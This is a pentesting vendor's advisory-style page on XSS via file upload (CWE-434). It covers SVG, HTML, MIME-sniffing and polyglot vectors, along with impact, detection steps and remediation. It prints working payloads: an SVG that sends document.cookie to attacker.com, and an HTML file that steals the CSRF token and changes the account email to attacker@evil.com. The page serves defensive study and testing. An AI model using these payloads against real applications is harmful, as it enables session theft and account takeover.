SecureBlockLog inStart a pentest
Vulnerability Repository
HighInjection

XSS via File Upload

Insufficiently validated file uploads allow attackers to store and serve malicious HTML or SVG content from the application's origin, bypassing same-origin policy protections entirely.

CVSS 8.8CWE CWE-434OWASP A03:2021 — Injection

Description

XSS via file upload occurs when an application accepts user-uploaded files and subsequently serves them in a context where the browser will interpret and execute their content. Unlike reflected or stored XSS through text inputs, file upload XSS can bypass output encoding protections entirely because the attacker controls a complete file rather than a fragment of an HTML page. The malicious content is the file itself, not a value injected into a template.

CWE-434 — Unrestricted Upload of File with Dangerous Type covers this class of vulnerability. The risk materialises when uploaded files are served from the same origin as the application (or a trusted origin) because the browser's same-origin policy grants the uploaded file full access to cookies, localStorage, and DOM APIs belonging to that origin.

Under A03:2021 — Injection, OWASP categorises this as an injection vulnerability because the attacker is injecting executable content into the application's served content. The file upload mechanism is the injection vector, and insufficient MIME type validation combined with storage on an application origin is the enabling misconfiguration.

How It Works

SVG file XSS — SVG is an XML-based image format that supports embedded <script> tags and event handlers. A browser rendering an SVG directly (not embedded via <img>) executes any JavaScript within it:

<!-- evil.svg -->
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?c=' + document.cookie);
  </script>
</svg>

If the application stores this file and makes it accessible at https://app.example.com/uploads/evil.svg, any user whose browser navigates to that URL will have their cookies for app.example.com sent to the attacker.

HTML file upload — applications that accept .html or .htm uploads and serve them directly enable full HTML execution:

<!-- payload.html -->
<html><body>
<script>
  const xhr = new XMLHttpRequest();
  xhr.open('POST', '/api/account/email', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.setRequestHeader('X-CSRF-Token', document.querySelector('meta[name="csrf-token"]').content);
  xhr.send(JSON.stringify({email: 'attacker@evil.com'}));
</script>
</body></html>

MIME type confusion — even files uploaded with benign extensions can trigger XSS if the server sets an incorrect Content-Type. Internet Explorer and some mobile browsers perform MIME sniffing, treating a file served as application/octet-stream as text/html if its content looks like HTML.

PDF JavaScript execution — PDF files can contain JavaScript that executes in Adobe Reader's sandbox. When served inline (Content-Disposition: inline), some browser PDF renderers execute embedded JS.

Polyglot files — a file that is simultaneously valid in two formats (e.g., a JPEG that is also valid JavaScript) can bypass extension and MIME type checks while still executing as JavaScript in certain contexts.

Impact

  • Session hijacking — scripts executing on the application origin have full access to session cookies and localStorage tokens, enabling complete account takeover.
  • CSRF token theft — uploaded payloads can read CSRF tokens from DOM elements and submit state-changing requests on behalf of the victim.
  • Credential harvesting — scripts can inject credential prompts over the legitimate application interface and exfiltrate submitted values.
  • Persistent XSS — because the payload is a stored file rather than a reflected URL parameter, it affects every user who accesses the uploaded file URL.
  • Worm-like propagation — scripts can re-upload copies of themselves to the victim's account, spreading the payload to other users who view their profile or shared content.

Detection

  1. Upload an SVG with embedded JavaScript — attempt to upload the SVG payload above. If the application accepts it and serves it at an accessible URL on the application domain, navigate to the URL directly in a browser to confirm script execution.
  2. Test MIME type validation bypass — upload an SVG file named image.png with a MIME type of image/png. Check whether the application accepts it based on extension or MIME type and whether the served file is executed as SVG.
  3. Check Content-Disposition on served files — files served with inline disposition are rendered by the browser; files with attachment disposition are downloaded. Verify that uploaded content is served as attachment.
  4. Test HTML file upload — upload a .html file and check whether the application accepts it and serves it in an executable context.
  5. Verify the serving domain — determine whether uploaded files are served from the same origin (uploads.app.example.com) or a truly isolated domain (uploads.example-cdn.net). Same-origin serving is the key risk factor.

Remediation

Serve all user-uploaded content from an isolated domain. Files served from static.example-uploads.com (a domain with no application cookies or sensitive data) cannot steal credentials from app.example.com. This is the single most effective control.

Set Content-Disposition: attachment for all uploaded files. This forces the browser to download rather than render the file, preventing in-browser execution:

Content-Disposition: attachment; filename="user-upload.png"

Validate file content, not just extension or MIME type. Use a file content parser (ImageMagick for images, python-magic for MIME detection) to verify the file is actually what it claims to be. Strip all metadata and re-encode images server-side using a library that will discard any embedded scripts.

Implement a strict Content Security Policy. Set Content-Security-Policy: sandbox on all responses from the uploads domain to prevent scripts from accessing the parent origin.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping